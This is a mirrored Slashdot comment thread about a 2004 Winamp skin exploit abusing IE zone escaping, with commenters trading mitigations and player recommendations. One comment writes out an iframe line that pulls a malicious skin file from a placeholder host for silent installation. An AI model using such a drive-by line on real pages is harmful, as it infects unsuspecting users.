Slashdot Mirror
Winamp Skin Exploit in the Wild
An anonymous reader writes "Secunia.com has announced an exploit (derived from xml escaping the Internet zone into IE's local zone) that exploits Winamp's habit of automatically installing skins. Currently all versions of Winamp are affected. Details on the Winamp forums - apparently an exploit is already in the wild, and spreading."
to compromise a system..
Luckily the masses of windows users are content to use windows media player which should slow the spread of this.
?SYNTAX ERROR IN LINE 42
I knew that your oh-so-sexy winamp skin would be my downfall.
One of the winamp betas had the option to use the mozilla engine rather than the IE one. Shame they never spent more time on this feature then they could easily tell people they could fix this exploit by turning off the MS Engine.
I propose "flensing."
Seems to me I was just bitching about skinning and mentioned that security holes were one possible (but unlikely) down-side. I love when the universe makes my point for me.
who unchecks every option in any program I install that begins with "Automatically [check for/download] and install ..."?
I browse Slashdot at +3, Funny
Don't get your skins from anyone but WinAMP.
OR
Don't use skins at all.
-jls
Techno-pagan
Just as long as the exploit isn't used to install SP2 were all safe.
The Securia.com link in the profile says that only Winamp 3.x and 5.x. But doesn't mention 2.x... the vast majority of Winamp users I know don't use 3.x or 5.x due to the massive feature bloat.
Is 2.x actually susceptible or is the submitter incorrect?
sig.
"I can not bring myself to believe that if knowledge presents danger, the solution is ignorance" - Isaac Asimov
am i the only person that finds ever changing interfaces an annoyance??
love is just extroverted narcissism
Program skins with "browser tags" and "embedded xml"? sheesh, what next, word processor documents that have executable code inside?
"A door is what a dog is perpetually on the wrong side of" - Ogden Nash
.
Winamp Unlimited has a friendly summary on how the worm infects the user, as well as steps one can take to avoid being infected.
This is also worth noting: "The Nullsoft team have already implemented a patch for this exploit, which will be included in a very-near future release5.04a or 5.05. This next version is already in its third beta stage, and will include several other unrelated changes/fixes."
Of course, then you can't listen to Internet radio...
Editor Emeritus and Senior Writer, TeleRead.org
That should be OS 7-9. I've really got to start proof reading.
Javascript + Nintendo DSi = DSiCade
but um... what about listening to internet radio stations? how about when you use it to sample music online? a lot of those online music sites (mp3.com for example) have a
...spike
Ewwwwww, coconut...
http://secunia.com/advisories/11622/ Yes it has, wannabe nerd. Don't talk the crap unless you can back it up.
Listen to my experimental-industrial-techno!
Damn dude, I was going to step up and prosleritize 'NIX/XMMS, but you beat me to it:) By the same token you could support good ol' Winamp 2, which is basically the same thing. Ooo, winamp 5; look at all the useless, animated, colorful features!
You also have to start knowing what you're talking about.
I mean, WinAmp can actually look like different kinds of real CD players! Can you believe that? It can look like all sorts of things; it doesn't have to look like a rectangular window at all. That just rocks! You can even change the way it looks at runtime! You can download whole new looks! Man, that is too cool.
Kudos to those guys. This is the kind of thing that really makes computing fun.
isn't that blasphemy or something?
AFAIK XMMS doesn't run in Windows at all.
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
Check out www.winampunlimited.com for more details
RTFA. It requires Internet Explorer 5.2. That's not the default browser on Mac OS X.
Javascript + Nintendo DSi = DSiCade
Just to comment on all the first 11 posts I see here:
..
(1) I've not used WinAmp in many years [like i've not used Windows in many years], but when secunia says the advised course of action is "use another product", i'm guessing that that probably means this feature can not be disabled, or at least not easily? or if it can be, then it's disabling can also be circumvented?
(2) Absolutely right, having a component of the system that is active to ALL programs, wether it wants it or not, is inviting the most bizarre of security holes. Of course, the WinAmp people probably should come up with a better, more secure transport method for getting their skins around, but it's not really their fault that IE is a pile of crap security wise.
(3) what kinda genius would figure out that you could embed an xml file, with instructions to run a specific executeable file, within a zipped skin file, and then manage to trigger a security hole in a web-browser module that really shouldn't have a damn thing to do involved with the program that you're sending this virus through? The people who are BREAKING the security I figure have got to be infinitely more intelligent than the people who are CREATING the security.. or at least a whole hell of a lot more creative..
i really can't imagine that anyone could be thinking, when they write a program like this, "oh, what if someone tries to take advantage of such and such known security flaw in this way through our program, even though they don't have jack and shit to do with each other?"
obviously, you're going to try to cover in advance for security things, but who could predict in attack in such a convoluted fashion?
"Champagne for my real friends - and real pain for my sham friends!" http://ericblade.postalboard.com/
I'm an idiot--I don't get it. Can anybody help?
Is there any way to actually uninstall IE or atleast make it absolutely not the default browser and ban its exicution or engine use by all other programs and perhaps replace that engine with something else? Considering that was part of a big law-suit surly theres a way? Infact i need IE installed for website testing so the second option would be best.. all i can think of is setting the permissions of the engine dll and IE exicutables but replacing it would be nice too..
This comment does not represent the views or opinions of the user.
Winamp5 added one very important feature that Winamp2 didn't have (that XMMS has had for years); the ability to reformat the playlist display away from Artist - Song Name to whatever you want. (In my case Artist - Album - Track - Song Name)
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
No, they used system services available to them, instead of choosing a third party solution like the rest of the world does. Why did they do that? Because Windows integrates a web browser!
Javascript + Nintendo DSi = DSiCade
I've been using the same skin on Winamp 2.8 for years(plug for 'Silence' skin). Maybe that's because its part of my disk image I always wind up going back to.....
- I got my free iPod and a free Nintendo DS....why not
see? more of a fix than you'd first assume :)
They integrate a shitty web browser. No programmer in their right mind would make use of this "available system service".
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
Now that people have started to use firewalls, and the risk of worms and rootkits that infect through open, exploitable, holes grows smaller, it is time to expect more and more exploits to follow alternative vectors.
Note how many buffer-overflow exploits there have been in server daemons. Well, there is no reason to believe that servers are any worse written with regards to input than client applications - quite the contrary actually.
People think they are safe with a firewall. But I'm willing to bet there are undiscovered exploits in just about every application they run. WinZip? WinAMP? Acrobat Reader? Media player? Anything that handles files received over the Internet is potentially a vector for viruses and possibly worms.
This time it was bad escaping, which made the exploit trivial, but there a buffer overflow would have served just as well. Neither firewalls nor anti-virus software will protect you.
500 dollar reward for tip(s) leading to the arrest of the person(s) who stole my sig.
they went that way ->
I didn't say it was common. He said they don't exist. I was merely proving him wrong.
Listen to my experimental-industrial-techno!
Another reason I'm glad I don't use windows.
GETPKG - Package Management for Slackware
Yet another unwanted, unnecessary feature involving Internet Explorer embedded into a program that doesn't need it has a remote exploit. To mitigate this problem, disable active anything, automatic anything, and ActiveX anything. That is all.
For what possible purpose does a skin -- which is essentially nothing more than graphical elements -- need to invoke the browser?
WTF? Seriously, help me out here. I've only been a programmer for 25 years, so I may not understand the deeply compelling reasons driving such a design decision.
Schwab
Editor, A1-AAA AmeriCaptions
Geiss, Milkdrop, R4, KataFX, Smoke & ZMatrix.
6 good reasons to stay with WinAMP.
Jaysyn
There is a war going on for your mind.
Not true. Winamp2 allows you to change the playlist display. From memory (I have WA5 so it may be different now): Preferences->Plugins->Input->Nullsoft MPEG Audio Decoder->Configure.
I always changed this to show the album like you mentioned.
That's why I use QCD:
http://www.quinnware.com
In Soviet Russia...michael would be rotting in Siberia!
Get the crossfade plugin.
XMMS+Crossfade is great for things like LOTR soundtrack or just regular albums where songs go over tracks - no horrible pauses.
I just wish it had decent album management. imo Musicmatch Jukebox has the best library management system.
would this help it out?
I imagine you could use Cygwin to compile X and then compile XMMS. Winamp skins are compatible with XMMS but XMMS doesn't use IE.. or any browser.. for anything. That would eliminate the security risk.
Of course unchecking "modern skin support" in Winamp would remove the security risk as well.
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
I notice the average vocabularical IQ drops about 50 points once 3pm EST hits.
vocabularical.
I believe you were saying something?
I'm pretty sure the llama is tired of getting its ass whipped.
ANY library that works like the Microsoft HTML control (this is what Microsoft calls all the non-trivial bits of Internet Explorer... the IE application is just a thin wrapper around this) is at risk for exploitation. The only way to be sure that nobody's going to break out of your sandbox is to make sure that the application that creates the sandbox is the application that controls access from the sandbox, and that any helper applications it calls unconditionally implement their own sandboxes.
If you use the *same* application, API, or application binding (eg, the file type bindings used by the desktop and the MS HTML control, or Apple's LaunchServices) for both sandboxed and trusted objects, then you open up the possibility that an untrusted object will look like a trusted object, or that an untrusted object will be passed to a handler that isn't inherently safe.
Apple blew this with launchServices, and they still haven't really fixed the underlying problem. But they've only been in denial a few months, whereas Microsoft has been in denial about this for seven years, so let's look at Microsoft...
Let's suppose the HTML control was split up, so it only did rendering. Whenever it wanted to open a file, open a URL, run a script, load a plug-in, it would ask the parent application "what do I do about a CHM file" or "what do I do about <script language=vbscript>". You'd have an "HTML-only control" and a "Web Access control" and IE would be a very slightly thicker wrapper around both.
So then you register "Word Viewer"[1] with Outlook and IE as the helper application for Word documents, and "Word" with Windows Explorer as the helper application for trusted Word documents. If this was done, then Outlook (which would be a sandboxing application in this model) would open "Word Viewer" for untrusted documents.
Viola, no more email-spread Word macro viruses.
Similarly, Outlook would decline to run VBscript, and IE would decline to run the Windows Update plugin... you'd have a Windows Update program that was a thin shell around the HTML-only control... one that only opened windows update.
Microsoft could have their cake and eat it too, and EVERYONE would have a more secure and less spammy environment.
Good fuckin lord. Way to hide it on me.
I tried literally for years to find a way to do that in Winamp2 unsuccessfully. Nullsoft would get a -4 on a scale of 1 to 10 in option menu design.
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
You are aware iTunes installs massive (many MB) services that start at bootup you have no need of don't you? You're aware it blindly installs the iPod service, whether you have an iPod or not right? If I remember the last time I looked at it ALSO installed Quicktime, which is one of the worst behaved Windows installs of a media utility in well, pretty much ever. And Quicktime btw, also installs services you have absolutely no need of.
Memory is cheap, but that doesn't mean I want Apple deciding it can just use mine for code that never executes (or even worse, executes when I don't need it).
[1] I'm assuming that Word Viewer does not implement Word macros. It doesn't seem to, but if I'm wrong about this then (since we're in a hypothetical world) let's assume there's a version that doesn't.
This exploit was discovered about 4 months ago :-/
I'd bet it's probably not an issue for xmms using winamp skins. I don't believe it's a problem with winamp per se. I believe it's due to winamp's integration with IE.
It really annoying that IE integration can't be disabled or if it's even possible to integrate with another browser.
I don't know exactly how it works, but certain streams will pop open the Winamp browser window to the stream's home page and the stream's home page has popups.
In fact, due to integration with IE, even if you don't use IE for any browsing, someone could set up an enticing stream (**cough**pr0n**cough) and infect a lot of people with malware who think they're safe because they never websurf with IE.
Yet another reason that skinnable apps are evil.
Since we're on the topic. Does anyone know of a super-small/simple MP3 player that just plays from my system tray?
I want a music player that has no skins, no visiualizations, just a small program that keeps track of a playlist, plays music, and stays out of my way.
~D
This sig has been enciphered with a one-time pad. It could say almost anything.
I agree. I just happened to stumble on the option. I have a sort of obsessive/complusive tendency to check out every single possible option in a program, so I guess that's why I found it.
Who the fuck uses the crappy bloated recourse hog that is 5.x anyway.... ah Internet Explorer users.
5.x playing in the background using 0% CPU and under 6mb of RAM... about what 2.x uses... with a feature-set comparable to iTunes without the huge iTunes resource overhead, 3 installed services, etc, etc. A "lightweight" media player like foobar2000 is ~1% CPU and 11mb RAM.
Portable versions of Firefox, GIMP, LibreOffice, etc
Where you do see this quote?
Wrong. All you need to do is open a wsz file in order to get exploited-- subsequent network access isn't required. And internet explorer is happy to auto-open that wsz file for you.
I believe it's due to winamp's integration with IE
.exe along with the rest at least it wouldn't be executed.
.exe intact. It's a distributed approach to chipping away at security. This is the same thing that happens to people who install dozens of "cuteware" apps. Each one breaks something else a little more until eventually there's a hole in the system.
It's because Winamp uses XML to parse skin archives which allows hotlinking to untrusted locations.
Now, if we could get rid of this crack like addiction to one-click computing, the skin file would have a README which would tell the user to copy the files to the appropriate location. While the majority of users would blissfully copy the
Of course, then there'd be a web-page someplace with a link just to check to see if the skin had been installed in a default location with the
+++ATHZ 99:5:80
Since the forum basically gives step-by-step instructions of how to recreate the exploit they might want to release the patch sooner or edit the forum post so that happy script-kiddies have to do a little more work then copying and pasting to exploit it... Meanwhile, switch to linux and use XMMS :)
Hey look no pointless curley braces or semicolons... just like Python
:-p
"so I may not understand the deeply compelling reasons driving such a design decision."
*raises hand*
Because since the late 90s EVERY PROGRAM must use the internet in some way. Useful or not. Anyone else notice this trend?
Go here for teh [sic] funny.
I call BS. Real easily has Apple beat in the "worst behaved Windows installs of a media utility in well, pretty much ever" category. But we'll give them a close second.
LilMikey.com... I'll stop doing it when you sto
"Good ole microsoft has this thing called media player that plays my mp3's..."
"Cant trust those evil 3rd party hacker programs... Thats what they say they wouldnt lie.. See this just proves it.."
Not that Microsoft would be *that* evil to release exploits for 3rd party apps.... but its an idea..
---- Booth was a patriot ----
Still trying to figure out - is it winamp's fault that an XML character escape sequence causes stupid IE to run as in a local zone.
:-)
:-(]
This isn't the first app that gets nailed just because it was using IE (for whatever extent of use - full rendering or peripheral stuff like SSL Certificate handling or XML processing).
Just add this to the IE screwups tally
get a free iPod![This really works! - I have only 3 more referrals to go, my buddy already got his iPod (I should have gotten into this earlier
seems that this flaw was reported by the french website security company K-Otik (http://www.k-otik.com) who made this private exploit code goes to "public"
I've never been linked to (well, indirectly) on slashdot before - it's my 30 seconds of fame!
Just to add to the original thread a little, I only saw the worm spreading on IRC and I only saw 2 people who were spamming the link - like all mirc worms the infected person doesn't know they are doing it until someone tells them.
I guess it's not got very far - since I reported the exploit i've not seen another spammed link for it.
I still use winamp 1.90, I highly doubt that it will be affected. Besides what's a skine?!
Screw that... If it's a diebold a slightly creative person could get who everyone voted for and change them right there on the spot.
Integration of Access in a Diebold machine is a much more serious offense than integration of IE in a WinAMP.
LilMikey.com... I'll stop doing it when you sto
Blow me. Not a single person I know knew about Winamp2's ability to do that. We all welcomed Winamp5 with open arms for that ability. Did it occur to you that Nullsoft might just have made a dumb choice regarding where to put that option? Stupid anonymous flamers.
You're right, I wouldn't steal a car. But if it were possible, I sure as hell would download one!
type "services.msc" into run, look for "ipod service" in the list, double click and set startup to disabled. sorted.
And Winamp is a multimedia player for Windows systems (with the exception of a horribly crappy alpha version of the now-dead 3.0 release of Winamp that was made available on Linux, but that hardly counts does it?). If I'm a Winamp user, I'm using Windows, and so XMMS is not an option. Why would I change my entire operating system simply to get a media player that started life as a duplicate of the one I already have on Windows (and XMMS still is little more than a Winamp-wannabe)?
you can end any task with thist askman
http://www.diamondcs.com.au/index.php?page=
While the finger currently points at WinAmp skins, I guess all eye candy with XML etc could potentially be used to do the same thing.
Engineering is the art of compromise.
Not only does evil P2P software break the law, it helps infect your computer! A program called Winamp, used by illegal copyright infringers to play their music files called MP3s, has a security hole allowing evil hackers to enter your system! We need to band together to ban this evil and dangerous Winamp program. Remember, no matter what, it is WRONG to use Winamp to play downloaded MP3s--and now, it is dangerous. Respect copyrights; uninstall Winamp.
In related news, our editors today learned of the calc_virus; remote explotation of Windows Calculator utility is possible and attackers can gain access to your machine via this program. The announcment that MS recommends you use an abacus was heralded as a remarkable advance in system security
Need Mercedes parts ?
...pointless skins for media players can go to hell. Foobar 2000 forever!
No need to compile X for Cygwin, it's already done for you.
Sig is on vacation
The last time I tried it, WinAmp wouldn't work for me unless I had administrator privileges--so this exploit can do maximal damage. Maybe this will move a rewrite to work reasonably in a multi-user environment up on their priority list? (We can hope...)
Can anybody confirm this quote?
I can't find it anywhere...
Speaking of low IQ, school is still out for the summer in most parts.
The exploit was posted on SecuriTeam: http://www.securiteam.com/exploits/5TP0Q1PDPM.html
- Agilo
Good thing you never looked back. We're all pointing and laughing at you.
Seriously man... posting this comment in a thread detailing an exploit in your elitist program is kinda... retarded.
WinAmp exploits: 2 (that I know of)
iTunes exploits: 0
Let's keep score.
Ironically, the word ironically is often used incorrectly.
Why are you geeks worried? Shouldn't you be using Foobar2000 anyway? It is about 2000 X better than winamp and packed with geek friendly features.
Revolutions are never about freedom or justice. They're about who's going to be top dog. -- Kilgore Trout
nothing that a thin film of miconazole nitrate on the monitor can't fix in 2-3 weeks...
"why you tattoring fan sucked doo belly - i have to go buy something to strike you with... excuse me."
...it's another WINDOWS problem. The OS and any apps for it are "run at your own peril". That includes mozilla stuff. It's because it's designed to run on WINDOWS.
WINDOWS
WINDOWS
WINDOWS
I don't care how leet folks think they are, as long as people run windows stuff, develop for windows, run windows apps, think about windows, they are gonna get hosed, sooner or later.
You would think after 10 years of this stuff that it would be noticed, nope, folks still think just one more patch or one more version higher of their windows apps or OS is gonna magically fix windows.
Charlie Brown
Lucy
Lucy holding football
Charlie Brown on his butt looking lame
Charlie Brown = windows
Lucy = windows apps
Lucy holding football = thinking just this one more time, that this is the time she will hold it correctly, that just this time it will work and be "secure"
Charlie Brown on his butt for the 9,863rd time = windows users, never learn, always going to think if they hold out one more time it will be OK.
It's how it is delivered. The simpilest way involves:
iframe src="http://www.blah.com/winamphackedskin.wsz"
That right there, in any browser, will initiate a download of the winamp skin file. In Opera/Firefox/Mozilla you are given a download confirmation prompt. However, if IE is your default browser then IE will auto download and install the winamp skin without your knowledge.. or at least until your winamp pops up suddenly with a new skin. We can't tell people to "don't download skins" merely because it's far more serious than that. Manual skin changing or not, that iframe trick is going to nail a lot of people.
The best bet would be to ignore winamp completely until a patch can be provided, or have Firefox set as your default browser.
"We're breaking out the ramen noodles. . . "
"Really? Is it someone's birthday?"
Winamp only seems to use that much memory if you have a large playlist. If you just double click to play the files you want to play, having only one song in the playlist at a time, the memory use is much lower. Perhaps somewhere around 2 or 3 MB.
I am too lazy to go look on bugtraq but I seem to remember a while back there was a root level exploit for systems running XMMS. So nothing is perfect, although XMMS probably still is better than winamp.
Slashdot geeks using Windows. Hmph. I would have expected mpg123/mixerctl. Oh well. Whatever works.
Oz
XMMS has been included in SuSElinux since at leats 8.2.
I think that like every single linux distro that I have ever used came with XMMS. As far as SuSE is concerned, I have a SuSE 7.3 install DVD and it has XMMS on it and I am sure that every earlier version does as well. XMMS is probably one of the most common nonessential pieces of software included with most distros when you really think about it.
If you didn't know what Word documents are like to Linux users, you do now :-)
I have never come across a word document that I couldn't view on Linux. I am sure that you could create one but I don't think that most people use the really flaky complex features of Word that all the Linux equiv of Word cannot handle.
Yes, let us keep score.
Winamp gayness: 0
iTunes gayness: 1,000,000,000,OMG,LOL,000
In spite of all the shameless plugs for various assorted flavors of media players, I haven't seen one plug Quinnware yet. More specifically, their Quintessential Player. Sure the default interface might not be as "nice" as Winamp, but if you're using that OS from Redmond, WA, you get a player that also includes CD ripping/mp3 encoding.
Apologies ahead of time for the shameless plug, but I figured it's only fair to list alternatives in addition to the ones already provided!
He who has no
Use Work Offline mode in IE when you aren't using it. This setting will be saved even when you close IE thus keeping IE exploits such as this down. As a side note, it also kills the ads in AIM which is a nice plus. The only downside is when a program does try to access the internet using IE (such as AIM) it prompts you to Stay Offline or Connect. All you have to do is click stay offline and you'll be fine. If anyone knows how to suppress this prompt I would love to hear it.
No other audio player can touch Foobar2000 in terms of quality or flexibility.
Revolutions are never about freedom or justice. They're about who's going to be top dog. -- Kilgore Trout
Do you see the problem here? Winamp embeds the whole Internet Explorer application, not just the HTML rendering control. That's rarely a good idea, since you effectively lose control over your own application - for example, Winamp is "restricted" by the Internet Explorer policies based on zones, instead of disabling active content period
Make a difference - use Windows! (open source clone of Windows NT)
I CANNOT help this...
m l?tid=172&tid=1&tid=218
1 9&ncid=519&e=2&u=/ap/20040826/ap_on_re_us/cremator y_lawsuit_8
8 26/bs_nm/leisure_krispykreme_earns_dc_9
All in one day...
1. WinAmp is being skinned alive
2. Cremators settle for $80M suit
3. Krispy Kreme profits fall by 1/2
1. is at (redundantly) http://slashdot.org/articles/04/08/26/1919249.sht
2. http://story.news.yahoo.com/news?tmpl=story&cid=5
and
3. http://news.yahoo.com/news?tmpl=story&u=/nm/20040
Talk about skinning, slashing and burning...
DOH!
David Syes
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
It was in the link from a message posted by Egekrusher2K (610429) a few messages up the chain from here.
It was in reply to someone who said that MacOS X had no problems like this Winamp one. It was not referring to the original Winamp problem itself.
If anybody wants to recommend their favorite open-source Windows or Linux DVD player, feel free. But if it's skinnable, I'm not interested!
WinAmp 2.91 works for me under Windows 2000 with User priveleges. I haven't tried WinAmp 5 because I hated WinAmp 3 so much...
My username does not make me Apathetic. It's irony, get it?
I looked and looked but there are no skins for my mp3 player. Is it lame or what? Am I just another maroon (thanks Bugs) who happens to be skinless?
:)
Player: cmp3
Where: freshmeat.net
Any help with this skin problem is way too much!
Everything in the Universe sucks: It's the law!
Oh? Seems to be pretty much identical in responsiveness and appearence to me. Or did you install that awful thing called "modern skin support"?
Centralization breaks the internet.
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
My sysadmin commanded all his minions to uninstall WinAmp "immediately"!! He reckons that "Since the software manufacturer has yet to issue a patch, the only workaround at this point is to uninstall the software"
:o)
Get a grip dude. The problem is only applicable if you
* habitually download 100's of winamp skins
* get dodgy software off IRC
* allow automatic switching of skins in your winamp Preferences
This scaremongering is a capitalist ploy hatched by the corporations, RIAA, BSA, and the Illuminati, to force you to use the festering pile of crud called 'Windows Media Player'..
One good thing is that I have discovered the joy of foobar2000 instead
if you aren't a moron you are also NOT affected.
-ashot
You are aware iTunes installs massive (many MB) services that start at bootup you have no need of don't you?
Some of these are required to make certain features work. If you don't want those features, fine - disable the services.
You're aware it blindly installs the iPod service, whether you have an iPod or not right?
Of course Apple does this to make it easier for iPod owners to use their iPods, and a lot of people are buying iPods. If you don't own one and don't plan to buy one (and don't have friends who own them), disable the service!
If I remember the last time I looked at it ALSO installed Quicktime, which is one of the worst behaved Windows installs of a media utility in well, pretty much ever.
There's a damn good reason why it installs QuickTime. QuickTime is a media layer. Guess what iTunes does? Plays media. Guess how? By using QuickTime. Think of iTunes as simply a shell on top of QuickTime.
Worst behaved in what way? The QuickTime Pro $30 upgrade nag screen? Yeah, that sucks ass. Tip: set your clock forward several years, launch QuickTime Player, click "Later", fix your clock. When you click "Later", it adds a registry entry with tomorrow's date, and won't bug you again until then.
Oh yeah, and I think it drops a "Get QuickTime Pro" movie on your desktop. At least it used to do that. Annoying, but I believe the above trick works with that too.
And Quicktime btw, also installs services you have absolutely no need of.
Click the systray icon, open QuickTime Preferences, choose Browser Plugin from the menu, uncheck the last box. Why it's listed under Browser Plugin, I don't know.
So, to sum up:
1) iTunes installs services needed for features you don't intend to use, such as iPod support and CD burning
2) QuickTime puts an icon in the systray, which is easy to disable
3) QuickTime drops a movie on your desktop and nags about paying $30 when you launch QuickTime Player, which sucks ass, but isn't an issue if all you're using is iTunes.
So yeah, those are some legitimate complaints. Did you have any others?
By the way, on Mac OS X, iTunes doesn't run those extra services (because they're handled by the OS itself), and doesn't install QuickTime (because it's already installed), and QuickTime doesn't put an icon in the systray (because that's... retarded).
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
I realize you're trolling, but I'm bored...
Yes, Apple DOES decide for you that you need a web browser in every application on the operating system. Is it insecure? Well, not that we know of right now, because Apple patches the holes when they're found, just like Microsoft does (but yes, Apple's browser does have fewer security holes than Microsoft's).
Safari is 13MB, 10.1MB of which is localized text (for menus, dialog boxes, etc.) for languages other than English. It would be less than 3MB if you stripped that out (and you can get a program to do that for you, system-wide, if you want). Why? Because it doesn't include the HTML rendering engine.
The fact that OS X has not yet had one critical exploit speaks for itself. (And yes, OS 7-8 *did* have quite a few exploits and viruses.)
Wrong again. According to Steve Jobs:
By the way, if you're interested in the HTML rendering engine that Apple includes in Mac OS X and makes available to all applications (just like Microsoft does), the source code is here (it's LGPL). OK, so that's not like Microsoft.
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
--Rick "If it isn't broken, take it apart and find out why."
Having read Winamp's EULA, I believe "circumcision" would be much more appropriate.
Sincerely,
Pan Tarhei Hosé, PhD.
"Homo sum et cogito ergo odi profanum vulgus et libido."
No, seriously.
NotePad in XP has major bugs not present in earlier versions, such as when you save a file, the current Word Wrap margins become actual line breaks. The saved file is fine but the open document now has hard CR/LFs in it, so if you save it a second time without closing and reopening the file, the file is corrupted.
"Time is an abstract concept devised by carbon-based lifeforms to monitor their ongoing decay." - Thundercleese
COME now, chap...
Flamebait?
Sigh...
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
no, I keep my music/video PC where it belongs, in my AV rack.
Revolutions are never about freedom or justice. They're about who's going to be top dog. -- Kilgore Trout
I guess I am thinking like 'mod' files for the original Doom series (haven't messed with quake or later...), sure you could instruct it to place the walls in goofy places, and make them look different, but you couldn't give your character the ability to fly, etc. because you weren't writing code to be executed; you were only supplying data that the existing code would reference.
I reserve the right to be stupid about this, but it seems so simple.... so I might be missing something.
McFly777
- - -
"What do people mean when they say the computer went down on them?" -Marilyn Pittman
Thanks for your completely meaningless and unverifyable statistics.
using 0% CPU
Can you give that to me in instructions per second? Or at least CPU cycles per second (usage * clock rate) and processor class?
Since the usage is zero (below what Task Manager can measure), it can't be calculated without using another measurement tool, which I don't have installed. It's running on an AMD 64 3200+.
under 6mb of RAM
With how large of a playlist? And how many plugins installed and running?
1 song (same song) in the playlist on winamp and foobar, no plugins. We're talking base installs here, which is always assumed unless otherwise specified.
Foobar takes ~35 million processor cycles per second on a P3 during playback. Running minimized with a total of ~1,500 songs in its playlists it has about a 2.5MB working set.
Interesting, considering my fresh download/install of the latest version consumes 11mb with just that 1 song in its playlist. Oh, and all numbers are what it settles at (both players consume more CPU/RAM when launching a song).
Portable versions of Firefox, GIMP, LibreOffice, etc